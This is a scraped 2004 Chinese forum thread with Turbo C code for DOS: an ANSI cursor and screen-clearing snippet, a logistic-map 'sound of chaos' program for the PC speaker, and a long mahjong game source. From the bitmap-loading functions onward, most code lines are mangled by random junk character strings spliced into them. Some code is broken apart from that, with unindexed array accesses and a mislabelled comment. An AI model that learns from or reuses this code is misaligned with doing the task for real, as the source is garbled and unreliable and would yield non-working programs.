printf("%c[%d;%dH",ESC,xcor,ycor);
}<

>
/********************************************************
* CLRSCR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
********************************************************/
clrscr()
{
printf("%c[2J",ESC);
}

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

2^#

发表于 2004-10-4 02:38 |只看该作者 |招呼Ta 关注Ta

<DIV align=center>聆听混沌的声音</DIV><DIV align=center> </DIV><DIV align=center><

>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
<

>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：

　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
　　＃include <DOS.H>
　　＃include <STDIO.H>
　　main(){
　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
　　/＊i,j用于循环记数＊/
　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
　　fDis=fMax－fMin;
　　for(j=1;;j＋＋){
　　printf("

lease input The value of k(1－4.0)\n"); /＊输入k值＊/
　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
　　scanf("％f",＆k);
　　if (k==0) break;
　　for(i=1;i<100;i＋＋) /＊去除开始的100个点＊/
　　x=k＊x＊(1－x);
　　for (i=1;i<100;i＋＋){
　　x=k＊x＊(1－x); /＊计算x的值＊/
　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
　　delay(1000); }
　　nosound(); }}
　　执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</DIV>

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

1^#

发表于 2004-10-4 02:36 |只看该作者 |招呼Ta 关注Ta

<

>.:.:上海黑暗之龙--麻将原代码:.:.<DIV 626px; HEIGHT: 132px" align=left><

align=left>部分图片未上传
/*天宇软件
作者：上海黑暗之龙
2002/10/30
麻将原代码*/
#include "dos.h"
#include "stdio.h"
#include "graphics.h"
#include "bios.h"
#include "conio.h"
#include "stdlib.h"
unsigned char far *video_buffer=(char far *)0xA0000000L;
#define VGA256 0x13 /*图形模式13h*/
#define TEXT_MODE 0x03 /*普通文本模式*/
#define SETVGA Set_Video_Mode(VGA256)
#define OUTVGA Set_Video_Mode(TEXT_MODE)
#define BYTE unsigned char
#define WORD unsigned int
#define DWORD unsigned int
#define ESC 283
#define LEFT 19200
#define RIGHT 19712
#define H 9064
#define ENTER 7181
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
struct chi
{
int lg;
int lgg;
}ch[13];
struct mj
{ char *name; /*名字*/
int data1; /*是否已出，无用了*/
int data2; /*是否在手中，1为自己，2为对方*/
int number; /*同一个花色的第几张，共4张*/
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
"34.bmp"};
struct every
{ int *k; /*名字*/
int oneorfour; /*同一张牌的第几张*/
int number; /*第几张牌136*/
int p;
int g;
int c;
int d[2];
};
struct me
{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
int p; /*乓对方*/
int c; /*吃对方*/
int g; /*杠*/

struct every pp[14]; /*存放手上的牌*/
}me;
struct computer
{ int m;
int p;
int c;
int g;
struct every pp[14];
}computer,comp;

/* 设置调色板 */
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
outportb(0x3c8,Color); /*0x3c8写端口写色号*/
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
outportb(0x3c9,g);
outportb(0x3c9,b);
}
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/* 设置显示模式的函数 */
void Set_Video_Mode(int mode)
{
union REGS inregs,outregs; /*定义输入和返回寄存器*/
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
int86(0x10,&inregs,&outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
}
void v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
if(y0>y1)
{
temp=y1;
y1=y0;
y0=temp;
}
address=320*y0+x;
for(n=0;n<=y1-y0;n++)
{
video_buffer[address]=color;
address+=320;
}
}
void h_line(int x0,int x1,int y,unsigned int color)
{ unsigned int address,n,temp;
if(x0>x1)
{
temp=x1;
x1=x0;
x0=temp;
}
address=320*y+x0;
for(n=0;n<=x1-x0;n++)
{
video_buffer[address]=color;
address+=1;
}
}
void p_pixel(int x,int y,unsigned int color)
{ video_buffer[y*320+x]=color;
}
void s_square(int x,int y,int side,int color)
{
h_line(x,x+side,y,color);
h_line(x,x+side,y+side,color);
v_line(y,y+side,x,color);
v_line(y,y+side,x+side,color);
}
void r_rectangle(int x1,int y1,int x2,int y2,int color)
{
h_line(x1,x2,y1,color);
h_line(x1,x2,y2,color);
v_line(y1,y2,x1,color);
v_line(y1,y2,x2,color);
}
void fillRectangle(int x1,int y1,int x2,int y2,int color)
{
int i;
for(i=y1;i<=y2;i++)
{
h_line(x1,x2,i,color);
}
}
void showbmp(int l)
{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i<256;i++)
{
palette[2]=fgetc(bmp)>>2;( I) |- M* h5 y& H" B' I: U
palette[1]=fgetc(bmp)>>2;1 o$ D- `2 a% |2 ~; [. |/ ^# L
palette[0]=fgetc(bmp)>>2;, T5 Q" Y9 g' Q- B
fgetc(bmp);3 D( w" ?) D) Z/ k; V
Set_Palette(i,palette[0],palette[1],palette[2]);
0 ]3 x! ^! H1 O7 o1 m4 j G. Z}. C& c$ t9 e! i0 [
for (y=0;y<30;y++)
5 S- |. R3 N/ g; [" V9 U$ f- G6 |for(x=0;x<20;x++). f9 a7 h! e8 Z
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
0 G! T4 d& q& ]# @8 f4 Zfclose(bmp);
$ U/ j ^( u2 [1 o+ D}( G. Y) B& S" m$ H
void showbmpd(int l) s! e' u! r' L
{ FILE *bmp;3 i9 w- i/ L+ N- g; I t2 U$ F$ U
int i,x,y;
4 C, L! E- O9 _) ZBYTE palette[256][3];
( a- t( A# i4 ?% J7 n0 ybmp=fopen(me.pp[l].k,"rb");
& m2 M5 p u y- T/ kfseek(bmp,54,SEEK_SET);
 y4 F4 o- D4 lfor(i=0;i<256;i++)8 i# w- N9 R! U, }) X6 ^, T
{
, Q9 ?! @+ q4 p! Y N; qpalette[2]=fgetc(bmp)>>2;
! `, B+ t5 L! h; y: {0 kpalette[1]=fgetc(bmp)>>2;% q* k7 h c6 q' ?! c7 ^
palette[0]=fgetc(bmp)>>2;, K2 r5 ~: O& J1 b2 r5 j3 i/ a
fgetc(bmp);
/ }( @& Y1 l% ]8 h2 xSet_Palette(i,palette[0],palette[1],palette[2]);' N# Y0 b: \3 k' p
}/ F0 j& U7 l7 e1 }8 `
for (y=0;y<30;y++)" H/ I: b" R6 h( ~+ r4 w
for(x=0;x<20;x++)# r# {6 ?" c9 n+ D2 {' k
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
' t" r& e- l N4 l% a# r9 E0 yfclose(bmp);+ o2 K8 C# H, B+ Z
}
6 S' O" V- L7 U- fvoid showybmp(int ll), V5 J2 w( a! L" G
{ FILE *bmp;
4 l: O+ w8 q. y% B( Bint i,x,y;7 M5 F' L6 w! d- J5 ]3 _, ~
BYTE palette[256][3];
0 }6 e* W/ b! W4 e! v' ^+ c; d- {bmp=fopen(computer.pp[ll].k,"rb");9 o4 y5 U1 a% ^
fseek(bmp,54,SEEK_SET);
: G. G9 \; W: x1 h, p' Efor(i=0;i<256;i++)" D6 F: a$ D/ J5 J" l4 w
{5 k( v% p( S% O& G
palette[2]=fgetc(bmp)>>2;
! Y. N) c0 c: w8 Z( |palette[1]=fgetc(bmp)>>2;
7 b5 a' I* U0 ]palette[0]=fgetc(bmp)>>2;
% M% [5 Z0 i: t) dfgetc(bmp);! w4 r) z( w( B1 W0 Z1 v+ I. A% `
Set_Palette(i,palette[0],palette[1],palette[2]);& Q" B/ W3 V5 k
}
9 C- w) X) Q6 Y. B7 Tfor (y=0;y<30;y++)
, |4 ]- ?( \/ Rfor(x=0;x<20;x++)0 E' |, x% I) U, S, [! }6 f6 Y# Q) ~
pokeb(0xa000,y*320+x+zy,fgetc(bmp));( p3 I7 N) B% h e2 L
fclose(bmp);
- c* N& v% Y" W+ ?3 Y5 L' O+ f Q. l}$ M) `8 D+ l) m7 C1 ?% |5 {
void showcbmp(int ll)
0 ?2 v, G# i* f+ x& @: Y{ FILE *bmp;
6 D( m" d Z- k' Oint i,x,y;
8 W. p: ]5 ?% x0 KBYTE palette[256][3];
! f/ X- a9 c' }/ t% I& n: _bmp=fopen(computer.pp[ll].k,"rb");
6 z8 W0 m+ D! Gfseek(bmp,54,SEEK_SET);
# | Q1 d! k: |# [for(i=0;i<256;i++)6 l, N+ w6 b: ~
{+ c0 @+ j2 Z1 L% k x0 D
palette[2]=fgetc(bmp)>>2;' H. F% I# s4 G. ? x! A* B B6 g
palette[1]=fgetc(bmp)>>2;( q3 l3 A9 M: S# @
palette[0]=fgetc(bmp)>>2;
3 J) o, Y, W. Zfgetc(bmp);+ N5 x" A+ [9 p$ v3 I
Set_Palette(i,palette[0],palette[1],palette[2]);" J! M% r, Z+ ~- T* {8 n
}4 I. M/ I. T, @: t; j, K- _) v
for (y=0;y<30;y++)
 [/ y4 n# B+ O) ffor(x=0;x<20;x++)
7 j; M' {$ X& c1 `0 ?; j$ n1 ]pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
9 w* ~& N: X! ~. G& {( j* N& Cfclose(bmp);3 O. k& s( s+ B
}
: X; B1 V! A; w* X8 o: Z9 nvoid bmpp(int number)2 w5 J: P6 |" p& w& z+ C
{ FILE *bmp;
( p5 M, Z) l9 R9 L0 W$ @int i,x,y;
/ z9 ?$ }+ s$ M: f2 d+ q( {! ]! iBYTE palette[256][3]; Q" f$ A3 ]0 _5 | J
bmp=fopen(m[number].name,"rb");1 ]) G1 B" w4 j% _. R9 r' s- s+ t
fseek(bmp,54,SEEK_SET);
( P9 _; v/ z) m+ W; r- vfor(i=0;i<256;i++)6 Q& P, x6 j# X+ w" e
{0 \6 N3 J, P1 \9 f
palette[2]=fgetc(bmp)>>2;# i4 p, Z' C9 q) F; U9 b9 R
palette[1]=fgetc(bmp)>>2;8 R& o: @$ f& D$ S0 n6 d
palette[0]=fgetc(bmp)>>2;
9 s4 A2 D3 q5 S, _; P% Ifgetc(bmp);3 o- [! Q+ K# K0 b2 X6 m- ~( R2 r
Set_Palette(i,palette[0],palette[1],palette[2]);( \" G4 |. T& n
}
( E$ N' N% v/ v+ Afor (y=0;y<30;y++)1 S& O( s0 [6 W: U ]
for(x=0;x<20;x++)
5 x! z4 g! @6 K( U( Q _5 O4 b7 Rpokeb(0xa000,y*320+x+zl,fgetc(bmp));
; w" O4 m( C( ?% I/ W2 Afclose(bmp); {1 \5 b( X% B9 @ P: v! ~: k
}0 _$ [( \/ N. }( @
void comlipai() /*整理电脑的牌*/5 u. d- H' f7 m. q2 `" |% A7 g
{ int n,j,u;# g$ [2 R6 i0 T1 y/ C/ V' w7 V5 |% Z
int *lingshi;
1 q5 |% Y9 H! q9 h! ~for(n=0;n<computer.m;n++)
# L: l" Y( i, nfor(j=n;j<computer.m;j++)$ f$ o" [9 K% j( L$ t1 c
{/ c* Q0 w5 E5 u# v( Q$ c
if(computer.pp[n].number>computer.pp[j+1].number)
( s W$ P9 ~. Z- h/ D; w{" o% J" c2 {/ ~& u* c- Z9 i% ]
lingshi=computer.pp[n].k;7 y2 G3 W) A% J. x O4 L' r
computer.pp[n].k=computer.pp[j+1].k;) {: I0 p" T/ e8 r* \$ S% y2 V' C/ G
computer.pp[j+1].k=lingshi;' t. K* s0 e( F5 A o+ ?& K
u=computer.pp[n].oneorfour;
4 m5 a4 O6 j: B8 Fcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;$ a: d( ~8 Q3 k
computer.pp[j+1].oneorfour=u;3 h4 l; L, N6 ?
u=computer.pp[n].number;
7 B& l- m( u" ^3 fcomputer.pp[n].number=computer.pp[j+1].number;" w; d) U3 R: x1 s% n2 _: l
computer.pp[j+1].number=u;
' n2 g) W9 e1 P6 y2 j}; o2 K& l( `: f3 G/ d3 e
else. w, d( ?! I9 N5 l8 H6 ]6 {9 O2 [
if(computer.pp[n].number==computer.pp[j+1].number)
9 i1 O9 V0 y, Dif(computer.pp[n].oneorfour>computer.pp[j+1].oneorfour)
# s6 S* |" V9 Z4 g5 w' K{9 N; _8 c- s% _# F: ?8 E
lingshi=computer.pp[n].k;: D7 [$ T P- v1 R9 J
computer.pp[n].k=computer.pp[j+1].k;4 l4 K/ u5 F3 W- A& n5 n1 W
computer.pp[j+1].k=lingshi;* C" J+ y" n! Q! T
u=computer.pp[n].oneorfour;
 ^/ e- J' D3 Pcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
+ i1 ~, }0 C; l4 L$ z# c; m6 Gcomputer.pp[j+1].oneorfour=u;7 @+ v2 ~; O2 m" I' z+ k" \
u=computer.pp[n].number;
; H8 a1 B2 Z$ Q9 u- scomputer.pp[n].number=computer.pp[j+1].number;$ \* P$ K$ @ ]) B7 }
computer.pp[j+1].number=u;, h: `' z: a% T
}
: h6 k# i0 u! C; @* c X}
# U5 n. p9 ]; E7 b W4 X$ @/ p}
* Y& V5 B" B0 i! X3 Tvoid melipai()2 f+ F$ \& Y4 E( S# k
{ int n,j,u;1 O1 l! @3 P) y; I+ }' r) d+ a
int *lingshi;
0 ]0 s* u$ T+ w3 D* n, ^! u2 @for(n=0;n<me.m;n++)" s8 } i) W X: V6 y
for(j=n;j<me.m;j++)
( s1 W: N. Q, S2 l8 j! k{
' q t( ]+ v4 D9 Xif(me.pp[n].number>me.pp[j+1].number) |+ o9 J4 B, Z5 {, }: ]% N+ f% c: v6 U
{; B; w5 u! o7 m$ I- t- O; S; H' \
lingshi=me.pp[n].k;
) B W. u. O8 e1 c4 \% @- A9 ame.pp[n].k=me.pp[j+1].k;1 b" o1 {* G( ], T) f
me.pp[j+1].k=lingshi;
1 z. x2 [" j# n2 u, a! s5 H! Qu=me.pp[n].oneorfour;, o# U$ t+ B( Z" v& b( o; m: t
me.pp[n].oneorfour=me.pp[j+1].oneorfour;7 N# h0 v6 d# n. x
me.pp[j+1].oneorfour=u;
, j* ?+ p5 Z7 t0 `5 {* Wu=me.pp[n].number;
9 W" ]8 {& {5 ^9 |5 Jme.pp[n].number=me.pp[j+1].number;
$ D1 M. z! u* Q yme.pp[j+1].number=u;
; ^$ o6 v- v0 H( B- w6 z+ m- ]' y# q}
! e/ m% V7 Q3 G* i! o9 velse
% Y7 p% c# b' L* rif(me.pp[n].number==me.pp[j+1].number)
0 [6 D" P/ N) Xif(me.pp[n].oneorfour>me.pp[j+1].oneorfour)
 ^. \0 u4 D6 Y% m8 V( e{2 @9 O( G, e# E- H: w( W1 N
lingshi=me.pp[n].k; [7 G0 S" v% @6 s( m
me.pp[n].k=me.pp[j+1].k;
% b2 ` h ]# Y, Z, ]me.pp[j+1].k=lingshi;
+ b& Z) z" P, Y9 ?3 @4 fu=me.pp[n].oneorfour;+ i1 }' y: l6 {& _0 a P1 r
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
% T i; P: b, e$ ]me.pp[j+1].oneorfour=u;
5 k: h" L: I- U1 u) Q- A+ ku=me.pp[n].number;
, O) |; C& ? X8 F8 Vme.pp[n].number=me.pp[j+1].number;7 y m4 |" i6 J5 y+ `* B
me.pp[j+1].number=u;8 s2 m: d5 N5 @8 {. N: Y
}
6 ^& s2 x4 P! I$ M. a8 x n1 S}1 Q8 Y+ Z( V$ M
}
; V `' K- U9 }void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/; K# R3 B/ V# S# u% r8 m( ^4 K
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
" a' k/ Y7 B& R+ R1 J# H( O4 ]if(me.pp[c].number<=35 && me.pp[c].number>=0)
# o4 S* N6 f1 c4 h6 F. ^{! i3 w3 K% p \* w8 h9 w( I4 M2 T
logo=1;: u i/ T( U9 @
if(me.pp[c].number<=3 && me.pp[c].number>=0)
( N3 o) G: v4 e: S- c7 flogoo=1;
( ^+ C' i6 V: V, u7 T. Selse if(me.pp[c].number<=7 && me.pp[c].number>=4)% w; ~! ]7 Y# p% r# f
logoo=2;
7 G) ^7 w' N" h" selse if(me.pp[c].number<=11 && me.pp[c].number>=8)
/ d/ B3 K p1 P9 y+ c) C! `1 nlogoo=3;. C; D* M% I T- D$ k/ D) a
else if(me.pp[c].number<=15 && me.pp[c].number>=12)6 @5 s" d$ \+ M' E* J" t
logoo=4;
( S1 O/ r4 Y3 j) q. U3 |( r+ Velse if(me.pp[c].number<=19 && me.pp[c].number>=16): B6 i% y( m# i8 Z
logoo=5;
0 a0 m, y$ z% O, w% d/ U0 y* }else if(me.pp[c].number<=23 && me.pp[c].number>=20)) y; U) j! {. B
logoo=6;5 x% T' b2 _: N) F! N
else if(me.pp[c].number<=27 && me.pp[c].number>=24)& u4 I- w7 y! Y0 o A- c% x S* [" o
logoo=7;' K% R: E; a1 n7 {3 R, U
else if(me.pp[c].number<=31 && me.pp[c].number>=28); f; T/ d# n: v* {& h8 r0 R+ \: ~
logoo=8;
$ i/ u" V6 o1 e; \- `! V) Q3 velse if(me.pp[c].number<=35 && me.pp[c].number>=32)
. ]/ g8 E6 S: L1 N3 F) {logoo=9;
7 j* a" N" K% J! `6 x}
) |5 L/ i3 C9 l# d/ u3 Welse if(me.pp[c].number<=71 && me.pp[c].number>=36): x6 e) ]$ r* q, l5 S- n
{& d. ^3 Y2 @% ^' X
logo=2;
, n, M! O" S; I: H: x5 ~8 n$ p4 `if(me.pp[c].number<=39 && me.pp[c].number>=36)
5 a# H. V7 M# j3 Qlogoo=1;/ k9 y6 N* g# w
else if(me.pp[c].number<=43 && me.pp[c].number>=40)
4 t) x1 X' h/ mlogoo=2;
& t+ t8 x. a' z5 g. a1 f; D, Zelse if(me.pp[c].number<=47 && me.pp[c].number>=44)
; ?- r5 U1 y8 p0 Mlogoo=3;* _, N! T' z% P j1 w; A& |
else if(me.pp[c].number<=51 && me.pp[c].number>=48)! w7 ^* K' J4 ^8 T7 `# b# I2 f
logoo=4;. m/ `& T4 i7 c6 w: q
else if(me.pp[c].number<=55 && me.pp[c].number>=52)
1 C4 \6 l! u4 G9 {1 z8 J! A- nlogoo=5;
6 R* h) ^: O3 \# Pelse if(me.pp[c].number<=59 && me.pp[c].number>=56)5 V( G+ f) B2 Z+ g) i+ A
logoo=6;
& E7 q/ U c* ]4 r) f; B6 D: zelse if(me.pp[c].number<=63 && me.pp[c].number>=60)2 g& c- m* o1 Q* k6 c3 d
logoo=7;
) Y: C" J4 d" c6 Z; V, H$ `- Lelse if(me.pp[c].number<=67 && me.pp[c].number>=64)
. O S* T2 A, T s4 A9 [logoo=8;8 u% ^- X0 p, c+ f( f
else if(me.pp[c].number<=71 && me.pp[c].number>=68)( t& E$ y, x9 r# E4 g6 x% M
logoo=9;
 Z' {4 z- w/ r* C}
else if(me.pp[c].number<=107 && me.pp[c].number>=72)
- |- a! B2 Z: ~' \4 M5 }{
/ K# {2 g9 K+ ^$ klogo=3;
. O/ N* h$ O# S/ N. [/ H! pif(me.pp[c].number<=75 && me.pp[c].number>=72)% Z/ [0 M; M. f' ~
logoo=1;
. V. P: n/ `4 o" X0 v4 ? J0 Celse if(me.pp[c].number<=79 && me.pp[c].number>=76)
* {$ ~$ y& t0 J2 jlogoo=2;
 q4 @" b# \* I" V) delse if(me.pp[c].number<=83 && me.pp[c].number>=80)
8 V" l1 U: [/ X2 O3 hlogoo=3;6 G& j6 f3 w7 L& B% R5 v8 r0 a
else if(me.pp[c].number<=87 && me.pp[c].number>=84)
# B: u- s8 @" V) \/ J( q4 Ologoo=4;' o+ t2 o/ N" H6 a( D
else if(me.pp[c].number<=91 && me.pp[c].number>=88)! R; P( n8 {8 q6 z
logoo=5;
0 K' S* B: I- I( h7 N- helse if(me.pp[c].number<=95 && me.pp[c].number>=92)
% R5 X9 t; ]. O8 [6 [, n6 Vlogoo=6;
/ q7 ?( |7 M! qelse if(me.pp[c].number<=99 && me.pp[c].number>=96)
' K4 V, w+ x3 o8 m, W& U9 Zlogoo=7;
 P/ G( @0 Q0 R+ A0 V0 \( h+ s" felse if(me.pp[c].number<=103 && me.pp[c].number>=100)( w+ z; N) u+ e( Q" Q( ^7 n
logoo=8;
3 j( K/ b( L, Yelse if(me.pp[c].number<=107 && me.pp[c].number>=104)* p8 C3 U! M5 k- i$ d* J; J
logoo=9;! f6 G' h4 s/ M n7 F0 R/ r$ q
}: D7 g) G% ?4 W1 K
else if(me.pp[c].number<=135 && me.pp[c].number>=108)
# k. F: S0 Q7 M; ~: _{% e3 e+ R1 H5 b5 @. I8 l8 _3 Y7 w
logo=4;
0 {7 T# }) }, N6 E7 R" o7 ]if(me.pp[c].number<=111 && me.pp[c].number>=108)* u, h' F- o0 F" h9 R' Y* h6 [7 ?
logoo=1;
8 h7 a7 k1 E U8 G9 v1 n* I, Uelse if(me.pp[c].number<=115 && me.pp[c].number>=112)
! f u% U/ C6 z. w0 k) _logoo=2;
6 T+ H. t4 [1 Jelse if(me.pp[c].number<=119 && me.pp[c].number>=116)7 c% f9 L' h, ^8 a# `1 J$ r
logoo=3;% X% ]* \4 `* N9 {0 d
else if(me.pp[c].number<=123 && me.pp[c].number>=120)
7 E( l) J" J2 e& x) ~* u5 W1 Xlogoo=4;# \' S* m5 s% ~) d6 a
else if(me.pp[c].number<=127 && me.pp[c].number>=124)1 f* q. V: O- a& z& u
logoo=5;
; `# V: z. \0 s% xelse if(me.pp[c].number<=131 && me.pp[c].number>=128)) o# m* ^# p3 E7 y% Y
logoo=6;2 X4 Y8 n9 r B5 H. Z
else if(me.pp[c].number<=135 && me.pp[c].number>=132)
; s4 C. Y" T' Vlogoo=7;
) ]$ `6 \/ _" Z}
2 X4 w* o1 W, S% @0 W% j+ f# Qwhile(b<=computer.m)4 m1 b6 j& U# ^ C- P! ?
{& H+ k4 g: s. F9 J( X
if(computer.pp.number<=35 && computer.pp.number>=0) /*假定电脑经过分析后出了第一张牌*/4 Y9 z) I v- R% O. ^
{ @* l8 o( O' J% Z D) H3 |
lg=1;
& P9 z$ P6 M5 N6 H5 ]6 gcomputer.pp.d[0]=1;
" L8 X1 e* l3 A7 W, Iif(computer.pp.number<=3 && computer.pp.number>=0)3 R0 d- j* u1 n5 d- a
{
2 |, G h# A+ S9 i" l: d$ c! }lgg=1;
* b2 ]1 \0 G) k2 F Acomputer.pp.d[1]=1;; W# K5 e# }& _# E! _3 a
}) A9 q6 g0 I% A* K5 m
else if(computer.pp.number<=7 && computer.pp.number>=4); D) u: p3 S- ]& K
{& u$ e8 i% k0 q8 P: W$ y
lgg=2;; O; A" J9 Q& q' f9 |5 I8 V
computer.pp.d[1]=2;
- P1 w- g- ]( D% \/ o4 q6 k}
0 M; r8 U# [& l( o2 telse if(computer.pp.number<=11 && computer.pp.number>=8): Q9 @0 R* p/ G: W4 ^0 h
{
+ u2 N9 A4 C. E% H: p6 nlgg=3;% G( K' G' @$ z( s
computer.pp.d[1]=3;% Y1 P4 i6 j/ u' J
}3 B1 R! m i8 g \0 _ @
else if(computer.pp.number<=15 && computer.pp.number>=12)2 C. r5 K9 c0 o8 T6 X' u
{! R9 B4 t* y; n+ Y
lgg=4;
' X% c! R" k4 _6 lcomputer.pp.d[1]=4;( d5 g; m% V1 K0 b6 F
}6 P/ ]9 y/ ^! x0 I+ L* {
else if(computer.pp.number<=19 && computer.pp.number>=16)
8 j, _5 ?5 _: X: n9 {3 G* I{
" ?/ y! `7 r3 |9 Rlgg=5;! _8 K( s j3 f6 y6 C, v( k
computer.pp.d[1]=5;' J; \6 Y z# ~6 e! J
}: a, ]# N2 b& b% x3 ~4 q! i
else if(computer.pp.number<=23 && computer.pp.number>=20)
1 ?% X' h! p( B! ]5 Q; G% W x2 ~{4 |- G: \2 \' J# Y! @7 E4 Y9 B
lgg=6;
, c6 s0 h* J$ [. t* Scomputer.pp.d[1]=6;! @" t7 c9 W; _, G7 F5 b/ J
}
7 |- U) W5 z" `1 telse if(computer.pp.number<=27 && computer.pp.number>=24)
$ {6 v* U% R; B2 n9 x{4 S# h) o: I. k: t" L
lgg=7;( O7 L) V+ l. w2 `4 l& ]
computer.pp.d[1]=7;
; D9 ^! t$ e! ]" c( N2 s: ~8 \}
